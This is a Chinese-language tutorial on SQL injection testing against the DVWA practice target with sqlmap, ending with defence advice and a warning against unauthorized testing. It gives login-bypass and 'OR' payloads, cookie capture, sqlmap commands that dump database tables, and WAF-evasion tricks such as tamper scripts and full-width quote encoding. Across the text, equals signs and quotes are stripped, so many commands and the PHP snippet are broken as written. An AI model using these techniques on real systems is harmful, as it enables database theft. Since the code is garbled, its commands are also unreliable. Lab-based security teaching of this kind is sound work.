1. SQL注入漏洞检测入门指南SQL注入是Web安全测试中最常见的漏洞类型之一。简单来说攻击者通过在输入字段中插入恶意SQL代码欺骗数据库执行非预期的命令。这可能导致数据泄露、数据篡改甚至整个系统沦陷。我第一次接触SQL注入是在五年前的一次内部安全测试中。当时我们的电商网站用户登录页面存在注入漏洞攻击者只需要在用户名输入框中输入admin --就能绕过密码验证。这个发现让我意识到即使是最基础的Web应用也可能存在严重的安全隐患。DVWADamn Vulnerable Web Application是一个专门设计用于安全测试的PHP/MySQL靶场环境。它包含了从低到高不同安全等级的漏洞场景是学习Web安全的绝佳平台。而sqlmap则是目前最强大的自动化SQL注入工具支持六种不同的注入技术能够检测和利用绝大多数SQL注入漏洞。2. 搭建DVWA测试环境2.1 使用Docker快速部署最方便的DVWA部署方式是使用Docker。以下是具体步骤# 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 运行容器并映射端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa等待容器启动后在浏览器访问http://localhost:8080。默认登录凭证是用户名admin密码password2.2 初始化数据库首次登录后需要点击Create/Reset Database按钮初始化数据库。这个过程会创建必要的数据库表结构插入测试数据设置不同安全等级的安全机制如果遇到PHP配置错误可能需要修改两个文件# 进入容器内部 docker exec -it dvwa /bin/bash # 修改PHP配置 sed -i s/allow_url_include Off/allow_url_include On/ /etc/php/7.4/apache2/php.ini # 重启Apache服务 service apache2 restart3. 识别SQL注入点3.1 手动测试基础注入在DVWA中将安全等级设为Low然后进入SQL Injection页面在输入框尝试输入数字1页面返回用户ID为1的信息输入1带单引号如果页面报错说明存在SQL注入漏洞进一步测试1 OR 11这应该会返回所有用户数据3.2 使用开发者工具收集信息按F12打开开发者工具切换到Network标签页提交表单后找到对应的请求记录复制完整的请求URL例如http://localhost:8080/vulnerabilities/sqli/?id1SubmitSubmit在Console标签页执行document.cookie获取当前会话的Cookie值4. 使用sqlmap进行自动化检测4.1 基本扫描命令首先确保已安装sqlmappip install sqlmap使用收集到的URL和Cookie执行扫描sqlmap -u http://localhost:8080/vulnerabilities/sqli/?id1SubmitSubmit \ --cookiePHPSESSIDabc123; securitylow \ --batch参数说明-u指定目标URL--cookie维持会话所需的Cookie--batch自动选择默认选项无需交互4.2 数据库信息枚举获取数据库基本信息sqlmap -u URL --cookieCOOKIE --banner --current-user --current-db典型输出示例[INFO] the back-end DBMS is MySQL banner: 5.7.29-0ubuntu0.18.04.1 current user: dvwalocalhost current database: dvwa4.3 数据提取技术列出所有数据库sqlmap -u URL --cookieCOOKIE --dbs列出指定数据库的表sqlmap -u URL --cookieCOOKIE -D dvwa --tables提取表数据sqlmap -u URL --cookieCOOKIE -D dvwa -T users --dump5. 高级扫描技巧5.1 风险等级与测试级别sqlmap提供精细的风险控制# 提高测试强度1-5默认1 sqlmap --level3 # 提高风险等级1-3默认1 sqlmap --risk35.2 使用代理观察请求通过Burp Suite等代理工具观察sqlmap的请求sqlmap --proxyhttp://127.0.0.1:80805.3 绕过WAF防护针对有WAF保护的目标sqlmap --tamperspace2comment,randomcase --random-agent常用tamper脚本space2comment用/**/替换空格randomcase随机大小写between用BETWEEN替换比较符6. 防御建议6.1 开发层面的防护使用参数化查询Prepared Statements$stmt $pdo-prepare(SELECT * FROM users WHERE id :id); $stmt-execute([id $input]);实施最小权限原则数据库用户只赋予必要权限对所有用户输入进行严格过滤和转义6.2 运维层面的防护定期更新数据库和Web服务器补丁部署WAFWeb应用防火墙启用数据库审计日志7. 实战经验分享在实际测试中我发现几个常见问题当sqlmap报告注入存在但无法利用时尝试添加--techniqueB指定使用布尔盲注对于时间型盲注使用--time-sec5增加延迟时间可以提高成功率遇到复杂JSON接口时使用--data{id:1} --headersContent-Type: application/json记得在一次企业测试中目标网站对单引号做了过滤但通过编码%EF%BC%87全角单引号成功绕过了防护。这种经验告诉我永远不要假设一种防护措施就能解决所有问题。最后强调一点未经授权的测试是违法行为。所有测试都应在获得明确授权的前提下进行建议使用像DVWA这样的合法靶场环境来练习技术。